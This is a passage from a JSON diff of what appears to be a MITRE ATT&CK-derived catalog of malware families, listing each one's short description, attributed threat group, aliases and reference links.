Korean websites. (Citation: Cylance Shell Crew Feb 2017)\n\nAliases: StreamEx", - "value": "StreamEx - S0142", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0142", - "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" - ], - "synonyms": [ - "StreamEx" - ] - }, - "uuid": "91000a8a-58cc-4aba-9ad0-993ad6302b86" - }, - { - "description": "Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: Psylo", - "value": "Psylo - S0078", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0078", - "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" - ], - "synonyms": [ - "Psylo" - ] - }, - "uuid": "dfb5fa9b-3051-4b97-8035-08f80aef945b" - }, - { - "description": "HDoor is malware that has been customized and used by the Naikon group. (Citation: Baumgartner Naikon 2015)\n\nAliases: HDoor, Custom HDoor", - "value": "HDoor - S0061", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0061", - "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" - ], - "synonyms": [ - "HDoor", - "Custom HDoor" - ] - }, - "uuid": "007b44b6-e4c5-480b-b5b9-56f2081b1b7b" - }, - { - "description": " (Citation: Janicab) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)\n\nAliases: (Citation: Janicab)", - "value": "Janicab - S0163", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0163", - "http://www.thesafemac.com/new-signed-malware-called-janicab/" - ], - "synonyms": [ - "Janicab" - ] - }, - "uuid": "234e7770-99b0-4f65-b983-d3230f76a60b" - }, - { - "description": "WINDSHIELD is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: WINDSHIELD", - "value": "WINDSHIELD - S0155", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0155", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" - ], - "synonyms": [ - "WINDSHIELD" - ] - }, - "uuid": "98e8a977-3416-43aa-87fa-33e287e9c14c" - }, - { - "description": "TinyZBot is a bot written in C# that was developed by Cleaver. (Citation: Cylance Cleaver)\n\nAliases: TinyZBot", - "value": "TinyZBot - S0004", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0004", - "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf" - ], - "synonyms": [ - "TinyZBot" - ] - }, - "uuid": "c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9" - }, - { - "description": "BACKSPACE is a backdoor used by APT30 that dates back to at least 2005. (Citation: FireEye APT30)\n\nAliases: BACKSPACE, Lecna", - "value": "BACKSPACE - S0031", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0031", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" - ], - "synonyms": [ - "BACKSPACE", - "Lecna" - ] - }, - "uuid": "fb261c56-b80e-43a9-8351-c84081e7213d" - }, - { - "description": "PinchDuke is malware that was used by APT29 from 2008 to 2010. (Citation: F-Secure The Dukes)\n\nAliases: PinchDuke", - "value": "PinchDuke - S0048", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0048", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "PinchDuke" - ] - }, - "uuid": "ae9d818d-95d0-41da-b045-9cabea1ca164" - }, - { - "description": "CloudDuke is malware that was used by APT29 in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)\n\nAliases: CloudDuke, MiniDionis, CloudLook", - "value": "CloudDuke - S0054", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0054", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf", - "https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/" - ], - "synonyms": [ - "CloudDuke", - "MiniDionis", - "CloudLook" - ] - }, - "uuid": "cbf646f1-7db5-4dc6-808b-0094313949df" - }, - { - "description": "RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)\n\nAliases: RedLeaves, BUGJUICE", - "value": "RedLeaves - S0153", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0153", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html" - ], - "synonyms": [ - "RedLeaves", - "BUGJUICE" - ] - }, - "uuid": "17b40f60-729f-4fe8-8aea-cc9ee44a95d5" - }, - { - "description": "WinMM is a full-featured, simple backdoor used by Naikon. (Citation: Baumgartner Naikon 2015)\n\nAliases: WinMM", - "value": "WinMM - S0059", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0059", - "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" - ], - "synonyms": [ - "WinMM" - ] - }, - "uuid": "22addc7b-b39f-483d-979a-1b35147da5de" - }, - { - "description": "MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: MobileOrder", - "value": "MobileOrder - S0079", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0079", - "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" - ], - "synonyms": [ - "MobileOrder" - ] - }, - "uuid": "463f68f1-5cde-4dc2-a831-68b73488f8f4" - }, - { - "description": "Sys10 is a backdoor that was used throughout 2013 by Naikon. (Citation: Baumgartner Naikon 2015)\n\nAliases: Sys10", - "value": "Sys10 - S0060", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0060", - "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" - ], - "synonyms": [ - "Sys10" - ] - }, - "uuid": "7f8730af-f683-423f-9ee1-5f6875a80481" - }, - { - "description": "Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)\n\nAliases: Duqu", - "value": "Duqu - S0038", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0038", - "https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20duqu%20the%20precursor%20to%20the%20next%20stuxnet.pdf" - ], - "synonyms": [ - "Duqu" - ] - }, - "uuid": "68dca94f-c11d-421e-9287-7c501108e18c" - }, - { - "description": "FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: FakeM", - "value": "FakeM - S0076", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0076", - "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" - ], - "synonyms": [ - "FakeM" - ] - }, - "uuid": "bb3c1098-d654-4620-bf40-694386d28921" - }, - { - "description": "SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)\n\nAliases: SHIPSHAPE", - "value": "SHIPSHAPE - S0028", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0028", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" - ], - "synonyms": [ - "SHIPSHAPE" - ] - }, - "uuid": "b1de6916-7a22-4460-8d26-6b5483ffaa2a" - }, - { - "description": "T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)\n\nAliases: T9000", - "value": "T9000 - S0098", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0098", - "https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html", - "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" - ], - "synonyms": [ - "T9000" - ] - }, - "uuid": "876f6a77-fbc5-4e13-ab1a-5611986730a3" - }, - { - "description": "EvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)\n\nAliases: EvilGrab", - "value": "EvilGrab - S0152", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0152", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" - ], - "synonyms": [ - "EvilGrab" - ] - }, - "uuid": "2f1a9fd0-3b7c-4d77-a358-78db13adbe78" - }, - { - "description": "BS2005 is malware that was used by Ke3chang in spearphishing campaigns since at least 2011. (Citation: Villeneuve et al 2014)\n\nAliases: BS2005", - "value": "BS2005 - S0014", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0014", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" - ], - "synonyms": [ - "BS2005" - ] - }, - "uuid": "67fc172a-36fa-4a35-88eb-4ba730ed52a6" - }, - { - "description": "WEBC2 is a backdoor used by APT1 to retrieve a Web page from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)\n\nAliases: WEBC2", - "value": "WEBC2 - S0109", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0109", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" - ], - "synonyms": [ - "WEBC2" - ] - }, - "uuid": "1d808f62-cf63-4063-9727-ff6132514c22" - }, - { - "description": "PlugX is a remote access tool (RAT) that uses modular plugins. (Citation: Lastline PlugX Analysis) It has been used by multiple threat groups. (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)\n\nAliases: PlugX, Sogu, Kaba", - "value": "PlugX - S0013", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0013", - "http://labs.lastline.com/an-analysis-of-plugx", - "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html", - "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/" - ], - "synonyms": [ - "PlugX", - "Sogu", - "Kaba" - ] - }, - "uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd" - }, - { - "description": "is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The malware is unique due to its final payload being in the form of a Control panel item. (Citation: Palo Alto Reaver Nov 2017)\n\nAliases: Reaver", - "value": "Reaver - S0172", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0172", - "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" - ], - "synonyms": [ - "Reaver" - ] - }, - "uuid": "65341f30-bec6-4b1d-8abf-1a5620446c29" - }, - { - "description": "Misdat is a backdoor that was used by Dust Storm from 2010 to 2011. (Citation: Cylance Dust Storm)\n\nAliases: Misdat", - "value": "Misdat - S0083", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0083", - "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf" - ], - "synonyms": [ - "Misdat" - ] - }, - "uuid": "0db09158-6e48-4e7c-8ce7-2b10b9c0c039" - }, - { - "description": "Komplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to (Citation: XAgentOSX) (Citation: XAgentOSX) (Citation: Sofacy Komplex Trojan).\n\nAliases: Komplex", - "value": "Komplex - S0162", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0162", - "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/", - "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" - ], - "synonyms": [ - "Komplex" - ] - }, - "uuid": "f108215f-3487-489d-be8b-80e346d32518" - }, - { - "description": "Taidoor is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor)\n\nAliases: Taidoor", - "value": "Taidoor - S0011", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0011", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf" - ], - "synonyms": [ - "Taidoor" - ] - }, - "uuid": "b143dfa4-e944-43ff-8429-bfffc308c517" - }, - { - "description": "MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)\n\nAliases: MoonWind", - "value": "MoonWind - S0149", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0149", - "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" - ], - "synonyms": [ - "MoonWind" - ] - }, - "uuid": "9ea525fa-b0a9-4dde-84f2-bcea0137b3c1" - }, - { - "description": "Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016)\n\nAliases: Crimson, MSIL/Crimson", - "value": "Crimson - S0115", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0115", - "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" - ], - "synonyms": [ - "Crimson", - "MSIL/Crimson" - ] - }, - "uuid": "326af1cd-78e7-45b7-a326-125d2f7ef8f2" - }, - { - "description": "Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)\n\nAliases: Rover", - "value": "Rover - S0090", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0090", - "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" - ], - "synonyms": [ - "Rover" - ] - }, - "uuid": "6b616fc1-1505-48e3-8b2c-0d19337bff38" - }, - { - "description": "ZLib is a full-featured backdoor that was used as a second-stage implant by Dust Storm from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)\n\nAliases: ZLib", - "value": "ZLib - S0086", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0086", - "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf" - ], - "synonyms": [ - "ZLib" - ] - }, - "uuid": "166c0eca-02fd-424a-92c0-6b5106994d31" - }, - { - "description": "PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)\n\nAliases: PowerDuke", - "value": "PowerDuke - S0139", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0139", - "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" - ], - "synonyms": [ - "PowerDuke" - ] - }, - "uuid": "00c3bfcb-99bd-4767-8c03-b08f585f5c8a" - }, - { - "description": "HTTPBrowser is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)\n\nAliases: HTTPBrowser, Token Control, HttpDump", - "value": "HTTPBrowser - S0070", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0070", - "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/", - "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" - ], - "synonyms": [ - "HTTPBrowser", - "Token Control", - "HttpDump" - ] - }, - "uuid": "e066bf86-9cfb-407a-9d25-26fd5d91e360" - }, - { - "description": "HAMMERTOSS is a backdoor that was used by APT29 in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)\n\nAliases: HAMMERTOSS, HammerDuke, NetDuke", - "value": "HAMMERTOSS - S0037", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0037", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "HAMMERTOSS", - "HammerDuke", - "NetDuke" - ] - }, - "uuid": "2daa14d6-cbf3-4308-bb8e-213c324a08e4" - }, - { - "description": "PoisonIvy is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy)\n\nAliases: PoisonIvy, Poison Ivy", - "value": "PoisonIvy - S0012", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0012", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" - ], - "synonyms": [ - "PoisonIvy", - "Poison Ivy" - ] - }, - "uuid": "b42378e0-f147-496f-992a-26a49705395b" - }, - { - "description": "Carbanak is a remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak)\n\nAliases: Carbanak, Anunak", - "value": "Carbanak - S0030", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0030", - "https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf" - ], - "synonyms": [ - "Carbanak", - "Anunak" - ] - }, - "uuid": "72f54d66-675d-4587-9bd3-4ed09f9522e4" - }, - { - "description": "Ixeshe is a malware family that has been used since 2009 to attack targets in East Asia. (Citation: Moran 2013)\n\nAliases: Ixeshe", - "value": "Ixeshe - S0015", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0015", - "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html" - ], - "synonyms": [ - "Ixeshe" - ] - }, - "uuid": "8beac7c2-48d2-4cd9-9b15-6c452f38ac06" - }, - { - "description": "BADNEWS is malware that has been used by the actors responsible for the MONSOON campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon)\n\nAliases: BADNEWS", - "value": "BADNEWS - S0128", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0128", - "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" - ], - "synonyms": [ - "BADNEWS" - ] - }, - "uuid": "e9595678-d269-469e-ae6b-75e49259de63" - }, - { - "description": "is a simple tool similar to Plink that is used by FIN5 to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)\n\nAliases: FLIPSIDE", - "value": "FLIPSIDE - S0173", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0173", - "https://www.youtube.com/watch?v=fevGZs0EQu8" - ], - "synonyms": [ - "FLIPSIDE" - ] - }, - "uuid": "0e18b800-906c-4e44-a143-b11c72b3448b" - }, - { - "description": "Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)\n\nAliases: Flame, Flamer, sKyWIper", - "value": "Flame - S0143", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0143", - "https://securelist.com/the-flame-questions-and-answers-51/34344/" - ], - "synonyms": [ - "Flame", - "Flamer", - "sKyWIper" - ] - }, - "uuid": "ff6840c9-4c87-4d07-bbb6-9f50aa33d498" - }, - { - "description": "RIPTIDE is a proxy-aware backdoor used by APT12. (Citation: Moran 2014)\n\nAliases: RIPTIDE", - "value": "RIPTIDE - S0003", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0003", - "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" - ], - "synonyms": [ - "RIPTIDE" - ] - }, - "uuid": "ad4f146f-e3ec-444a-ba71-24bffd7f0f8e" - }, - { - "description": "Daserf is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)\n\nAliases: Daserf, Muirim, Nioupale", - "value": "Daserf - S0187", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0187", - "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", - "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" - ], - "synonyms": [ - "Daserf", - "Muirim", - "Nioupale" - ] - }, - "uuid": "b6b3dfc7-9a81-43ff-ac04-698bad48973a" - }, - { - "description": "CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)\n\nAliases: CozyCar, CozyDuke, CozyBear, Cozer, EuroAPT", - "value": "CozyCar - S0046", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0046", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "CozyCar", - "CozyDuke", - "CozyBear", - "Cozer", - "EuroAPT" - ] - }, - "uuid": "e6ef745b-077f-42e1-a37d-29eecff9c754" - }, - { - "description": "Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)\n\nAliases: Mivast", - "value": "Mivast - S0080", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0080", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf" - ], - "synonyms": [ - "Mivast" - ] - }, - "uuid": "fbb470da-1d44-4f29-bbb3-9efbe20f94a3" - }, - { - "description": "ISMInjector is a Trojan used to install another OilRig backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)\n\nAliases: ISMInjector\n\nContributors: Robert Falcone", - "value": "ISMInjector - S0189", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0189", - "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" - ], - "synonyms": [ - "ISMInjector" - ] - }, - "uuid": "5be33fef-39c0-4532-84ee-bea31e1b5324" - }, - { - "description": "Cherry Picker is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)\n\nAliases: Cherry Picker", - "value": "Cherry Picker - S0107", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0107", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/" - ], - "synonyms": [ - "Cherry Picker" - ] - }, - "uuid": "b2203c59-4089-4ee4-bfe1-28fa25f0dbfe" - }, - { - "description": "XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)\n\nAliases: XTunnel, X-Tunnel, XAPS", - "value": "XTunnel - S0117", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0117", - "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", - "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" - ], - "synonyms": [ - "XTunnel", - "X-Tunnel", - "XAPS" - ] - }, - "uuid": "7343e208-7cab-45f2-a47b-41ba5e2f0fab" - }, - { - "description": "GeminiDuke is malware that was used by APT29 from 2009 to 2012. (Citation: F-Secure The Dukes)\n\nAliases: GeminiDuke", - "value": "GeminiDuke - S0049", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0049", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "GeminiDuke" - ] - }, - "uuid": "199463de-d9be-46d6-bb41-07234c1dd5a6" - }, - { - "description": "Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)\n\nAliases: Sakula, Sakurel, VIPER", - "value": "Sakula - S0074", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0074", - "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" - ], - "synonyms": [ - "Sakula", - "Sakurel", - "VIPER" - ] - }, - "uuid": "96b08451-b27a-4ff6-893f-790e26393a8e" - }, - { - "description": "Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)\n\nAliases: Agent.btz", - "value": "Agent.btz - S0092", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0092", - "https://securelist.com/agent-btz-a-source-of-inspiration/58551/" - ], - "synonyms": [ - "Agent.btz" - ] - }, - "uuid": "40d3e230-ed32-469f-ba89-be70cc08ab39" - }, - { - "description": "Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)\n\nAliases: Prikormka", - "value": "Prikormka - S0113", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0113", - "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" - ], - "synonyms": [ - "Prikormka" - ] - }, - "uuid": "37cc7eb6-12e3-467b-82e8-f20f2cc73c69" - }, - { - "description": "NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.” (Citation: FireEye APT30)\n\nAliases: NETEAGLE", - "value": "NETEAGLE - S0034", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0034", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" - ], - "synonyms": [ - "NETEAGLE" - ] - }, - "uuid": "53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2" - }, - { - "description": "USBStealer is malware that has used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL. (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)\n\nAliases: USBStealer, USB Stealer, Win32/USBStealer", - "value": "USBStealer - S0136", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0136", - "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/", - "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" - ], - "synonyms": [ - "USBStealer", - "USB Stealer", - "Win32/USBStealer" - ] - }, - "uuid": "af2ad3b7-ab6a-4807-91fd-51bcaff9acbb" - }, - { - "description": "CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)\n\nAliases: CALENDAR", - "value": "CALENDAR - S0025", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0025", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "synonyms": [ - "CALENDAR" - ] - }, - "uuid": "5a84dc36-df0d-4053-9b7c-f0c388a57283" - }, - { - "description": "is a backdoor appears to be a new version of commercial software , which is marketed to government agencies. It is reportedly used to attack individual computers instead of networks. It was used by in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)\n\nAliases: Wingbird", - "value": "Wingbird - S0176", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0176", - "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf", - "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" - ], - "synonyms": [ - "Wingbird" - ] - }, - "uuid": "a8d3d497-2da9-4797-8e0b-ed176be08654" - }, - { - "description": "Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003. (Citation: Kaspersky Regin)\n\nAliases: Regin", - "value": "Regin - S0019", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0019", - "https://securelist.com/files/2014/11/Kaspersky%20Lab%20whitepaper%20Regin%20platform%20eng.pdf" - ], - "synonyms": [ - "Regin" - ] - }, - "uuid": "4c59cce8-cb48-4141-b9f1-f646edfaadb0" - }, - { - "description": "AutoIt backdoor is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.\n\nAliases: AutoIt backdoor", - "value": "AutoIt backdoor - S0129", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0129", - "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" - ], - "synonyms": [ - "AutoIt backdoor" - ] - }, - "uuid": "f5352566-1a64-49ac-8f7f-97e1d1a03300" - }, - { - "description": "POWRUNER is a PowerShell script that sends and receives commands to and from the C2 